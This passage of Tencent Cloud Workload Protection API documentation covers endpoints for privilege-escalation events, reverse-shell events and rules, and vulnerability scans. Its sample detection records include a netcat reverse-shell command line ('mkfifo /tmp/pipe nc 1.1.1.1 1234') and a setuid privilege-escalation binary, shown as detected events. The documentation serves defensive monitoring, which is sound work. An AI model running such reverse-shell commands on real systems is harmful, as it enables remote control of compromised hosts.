Action	Yes	String	Common Params. The value used for this API: DescribePrivilegeEventInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Event ID

3. Output Parameters

Parameter Name	Type	Description
PrivilegeEventInfo	PrivilegeEventInfo	Local privilege escalation details Note: This field may return null, indicating that no valid values can

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		be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Local Privilege Escalation Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribePrivilegeEventInfo
<common request parameters>

{
"Id": 12
}
```

Output Example

```
{
"Response": {
"PrivilegeEventInfo": {
"CmdLine": "./privilege",
"CreateTime": "2024-09-06 14:17:45",
"FullPath": "/tmp/privilege",
"HarmDescribe": "After hacking into the server, in order to carry out the next ma
licious operation, the hacker will use specific vulnerabilities to elevate user p
ermissions or directly obtain root user permissions.",
"HostIp": "1.1.1.1",
"Id": 10001,
"MachineName": "Machine name",
"MachineStatus": "ONLINE",
"MachineWanIp": "1.1.1.1",
"ModifyTime": "2024-09-06 14:17:45",
"NewCaps": "SYS_RAWIO|DAC_OVERRIDE|DAC_READ_SEARCH|FOWNER|FSETID|KILL|SETGID|SETU
ID|SETPCAP|LINUX_IMMUTABLE|NET_BIND_SERVICE|NET_BROADCAST|NET_ADMIN|NET_RAW|IPC_L
OCK|IPC_OWNER|SYS_MODULE|CHOWN|BLOCK_SUSPEND|WAKE_ALARM|SYSLOG|MAC_ADMIN|MAC_OVER
RIDE|SETFCAP|AUDIT_CONTROL|AUDIT_WRITE|LEASE|MKNOD|SYS_TTY_CONFIG|SYS_TIME|SYS_RE
```

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```
SOURCE|SYS_NICE|SYS_BOOT|SYS_ADMIN|SYS_PACCT|SYS_PTRACE|SYS_CHROOT",
"ParentProcGroup": "1000",
"ParentProcName": "bash",
"ParentProcPath": "/usr/bin/bash",
"ParentProcUser": "1000",
"ProcFilePrivilege": "-rwsr-xr-x",
"ProcessName": "privilege",
"PsTree": "[{\"pid\":32528,\"exe\":\"/tmp/a.out\",\"account\":\"root:1002\",\"cmd
line\":\"/tmp/a.out\",\"ssh_service\":\"172.16.49.104:22\",\"ssh_source\":\"113.1
08.77.53:12753\",\"start_time\":1715655696}]",
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"References": [],
"Status": 0,
"SuggestScheme": "1. Check whether new users are added to the system or whether t
here are users with abnormal permissions.\n2. Check for malicious processes and i
nvalid ports, and delete suspicious startup items and scheduled tasks.\n3. Isolat
e or delete related Trojan files.\n4. Conduct risk investigation on the system an
d perform security reinforcement. For details, refer to the following link: xa0\n
[Linux] https://cloud.tencent.com/document/product/296/9604xa0\n[Windows] http
s://cloud.tencent.com/document/product/296/9605",
"Tags": [],
"UserGroup": "1000",
"UserName": "root",
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7"
},
"RequestId": "f7f4d0bc-171d-491e-b97b-5c9bcb5a52a0"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.
ResourceNotFound.MachineNotFound	The scanning machine does not exist.
ResourceUnavailable	The resource is not available.

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ExportPrivilegeEvents

Last updated：2024-12-06 15:41:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export local privilege escalation events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportPrivilegeEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter parameters

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	This parameter has been discarded.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Local Privilege Escalation Events

This example shows you how to export local privilege escalation events.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportPrivilegeEvents
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"TaskId": "1596595610"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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Reverse Shell APIs
DescribeReverseShellEvents

Last updated：2025-03-11 22:59:51

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of Reverse Shell.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeReverseShellEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of returns, with the maximum value being 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filter	Filter criteria • Keywords - String - required: no - keyword (host's private IP address|process name)
Order	No	String	Sorting method: sort by number of requests. asc: ascending order;

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			desc: descending order.
By	No	String	Sorting field. CreateTime: occurrence time.

3. Output Parameters

Parameter Name	Type	Description
List	Array of ReverseShell	List content
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Reverse Shell List

This example shows you how to obtain the reverse Shell list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeReverseShellEvents
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
{
"CmdLine": "mkfifo /tmp/pipe nc 1.1.1.1 1234",
"CreateTime": "2024-09-27 15:43:56",
```

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```
"DetectBy": 1,
"DstIp": "10.0.1.92",
"DstPort": 0,
"FullPath": "/usr/bin/mkfifo",
"Hostip": "1.1.1.1",
"Id": 10001,
"MachineExtraInfo": {
"HostName": "hn***",
"InstanceID": "ins-12332112",
"NetworkName": "vpc-d7f***",
"NetworkType": 0,
"PrivateIP": "1.1.1.1",
"WanIP": "1.1.1.1"
},
"MachineName": "Machine name",
"ParentProcGroup": "root",
"ParentProcName": "nginx",
"ParentProcPath": "/data/anaconda3/bin/pytho****",
"ParentProcUser": "0",
"Pid": 0,
"ProcTree": "null",
"ProcessName": "mkfifo",
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"RiskLevel": 1,
"Status": 0,
"UserGroup": "0",
"UserName": "0",
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7"
}
],
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c",
"TotalCount": 1
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteReverseShellEvents

Last updated：2024-12-06 15:39:52

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete Reverse Shell events based on IDs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteReverseShellEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	ID array, with the maximum value being 100.

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Reverse Shell Event

This example shows you how to delete reverse Shell event.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteReverseShellEvents
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeReverseShellRules

Last updated：2024-12-06 15:39:50

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of Reverse Shell rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeReverseShellRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Quantity of returns. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filter	Filter criteria • Keywords - String - whether required: no - keyword (process name)

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3. Output Parameters

Parameter Name	Type	Description
List	Array of ReverseShellRule	List content
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining a Reverse Shell List

This example shows you how to obtain a reverse Shell list.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeReverseShellRules
&<Common request parameters>
```

Output Example


```
{
"Response": {
"TotalCount": 1,
"List": [
{
"Id": 10001,
"DestIp": "127.0.0.1",
"Hostip": "10.0.0.11",
"Uuid": "E86E092B-FD69-4D1B-B014-E4FC68A*****",
"DestPort": "60132",
"ProcessName": "python",
"IsGlobal": 0,
"Operator": "operatorA",
"Status": 0,
"CreateTime": "2024-10-12 11:38:43",
```


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```
"ModifyTime": "2024-10-12 11:38:43"
}
],
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeleteReverseShellRules

Last updated：2024-12-06 15:39:52

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete Reverse Shell rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteReverseShellRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	ID array (The maximum quantity is 100.)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Reverse Shell Rules

This example shows you how to delete reverse Shell rules.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteReverseShellRules
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameter.ReverShellKeyFieldAllEmpty	Process name/target IP/target port cannot be left blank simultaneously.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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EditReverseShellRules

Last updated：2024-12-06 15:39:50

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to edit reverse shell rules (multiple servers supported).

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: EditReverseShellRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	No	Integer	Rule ID (leave this parameter blank for addition)
Uuids.N	No	Array of String	Client ID array
HostIp	No	String	Host IP
DestIp	No	String	Target IP address
DestPort	No	String	Target port

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ProcessName	No	String	Process name
IsGlobal	No	Integer	Whether the rule is global (not global by default)
EventId	No	Integer	ID of the associated event when clicking Add to Allowlist on the event list and details page (leave this parameter blank for rule addition)

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Editing Reverse Shell Rules. (Supporting Selecting Multiple Servers)

This example shows you how to edit Reverse Shell rules. (Multiple servers can be selected.)

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=EditReverseShellRules
&ProcessName=test
&DestIp=1.2.3.4
&DestPort=8080
&IsGlobal=0
&Uuids.0=11
&Uuids.1=12
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.IpNoValid	The IP format is invalid.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.PortNoValid	Invalid port format.

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InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameter.ReverShellKeyFieldAllEmpty	Process name/target IP/target port cannot be left blank simultaneously.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeReverseShellEventInfo

Last updated：2025-03-11 22:59:52

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query reverse shell details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeReverseShellEventInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Event ID

3. Output Parameters

Parameter Name	Type	Description
ReverseShellEventInfo	ReverseShellEventInfo	Reverse shell details Note: This field may return null, indicating that no valid

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		values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Details of a Reverse Shell

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeReverseShellEventInfo
<common request parameters>

{
"Id": 12
}
```

Output Example

```
{
"Response": {
"RequestId": "db8fd5e1-6d57-405b-9f57-9d6d0589bdc8",
"ReverseShellEventInfo": {
"CmdLine": "mkfifo /tmp/pipe nc 1.1.1.1 1234",
"CreateTime": "2024-09-27 15:43:56",
"DetectBy": 1,
"DstIp": "10.0.1.92",
"DstPort": 0,
"FullPath": "/usr/bin/mkfifo",
"HarmDescribe": "After invading the server, in order to carry out the next malici
ous operation, the hacker will let the victim host create an interactive shell an
d connect to the hacker's remote control server. Through the established channel,
the hacker can send instructions to the victim host and obtain execution result
s.",
"HostIp": "1.1.1.1",
"Id": 10001,
"MachineName": "Machine name",
"MachineStatus": "ONLINE",
```

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```
"MachineWanIp": "1.1.1.1",
"ModifyTime": "2024-09-27 15:44:32",
"ParentProcGroup": "root",
"ParentProcName": "nginx",
"ParentProcPath": "nginx",
"ParentProcUser": "0",
"ProcessName": "mkfifo",
"PsTree": "[{\"pid\":\"1\"}]",
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"References": [],
"Status": 0,
"SuggestScheme": "1. Check whether there are abnormal network connections in the system.\n2. Isolate or delete related Trojan files.xa0\n3. Conduct risk investigation on the system and perform security reinforcement. For details, refer to the following link: xa0\n[Linux] https://cloud.tencent.com/document/product/296/9604xa0\n[Windows] https://cloud.tencent.com/document/product/296/9605",
"Tags": [],
"UserGroup": "0",
"UserName": "0",
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7"
}
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.
ResourceNotFound.MachineNotFound	The scanning machine does not exist.
ResourceUnavailable	The resource is not available.

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ExportReverseShellEvents

Last updated：2024-12-06 15:39:49

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export reverse shell events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportReverseShellEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter parameters

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	This parameter has been discarded.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Reverse Shell Events

This example shows you how to export the reverse shell events.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportReverseShellEvents
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"TaskId": "1"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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Vulnerability Management APIs
ScanVul

Last updated：2024-12-06 15:38:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to perform one-click vulnerability scans.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ScanVul.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VulLevels	Yes	String	Whether to count only critical vulnerabilities. 1: only critical vulnerabilities; 0: all vulnerabilities.
HostType	Yes	Integer	Server type. 1: Pro Edition server; 2: selected server.
VulCategories	No	String	Vulnerability category. 1: web CMS vulnerability; 2: application vulnerability; 4: Linux software vulnerability; 5: Windows system vulnerability (separate multiple values by commas).
QuuidList.N	No	Array	String array of host QUUIDs. This parameter is effective for selected

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		of String	servers.
VulEmergency	No	Integer	Whether it is an emergency vulnerability. 0: no; 1: yes.
TimeoutPeriod	No	Integer	Scan duration, in seconds. Default duration: 3,600 second.
VulIds.N	No	Array of Integer	IDs of vulnerabilities to be scanned
ScanMethod	No	Integer	

3. Output Parameters

Parameter Name	Type	Description
TaskId	Integer	Task ID Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 One-Click Vulnerability Detection

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ScanVul
<Common request parameters>

{
"VulCategories": "1,2",
"VulLevels": "1,2,3,4",
"HostType": 1,
"QuuidList": [
"69796250-2a3a-40ef-b418-676e677019a4"
```

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```
],
"VulEmergency": 1,
"TimeoutPeriod": 3600,
"VulIds": [
1
]
}
```

Output Example

```
{
"Response": {
"TaskId": 1,
"RequestId": "69796250-2a3a-40ef-b418-676e677019a4"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

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Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
FailedOperation.NoProfessionHost	No Pro Edition host.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DescribeScanSchedule

Last updated：2024-12-06 15:39:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the detection progress by taskid.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScanSchedule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	Integer	Task ID

3. Output Parameters

Parameter Name	Type	Description
Schedule	Integer	Detection progress

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Detection Progress API

This example shows you how to query the detection progress by task ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScanSchedule
&TaskId=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"Schedule": 20
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ScanVulAgain

Last updated：2024-12-06 15:38:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to redetect the API.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ScanVulAgain.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
EventIds	Yes	String	Vulnerability event ID string (Multiple entries are separated by English commas.)
Uuids	No	String	Recheck machine UUID (Multiple entries are separated by commas.)

3. Output Parameters

Parameter Name	Type	Description

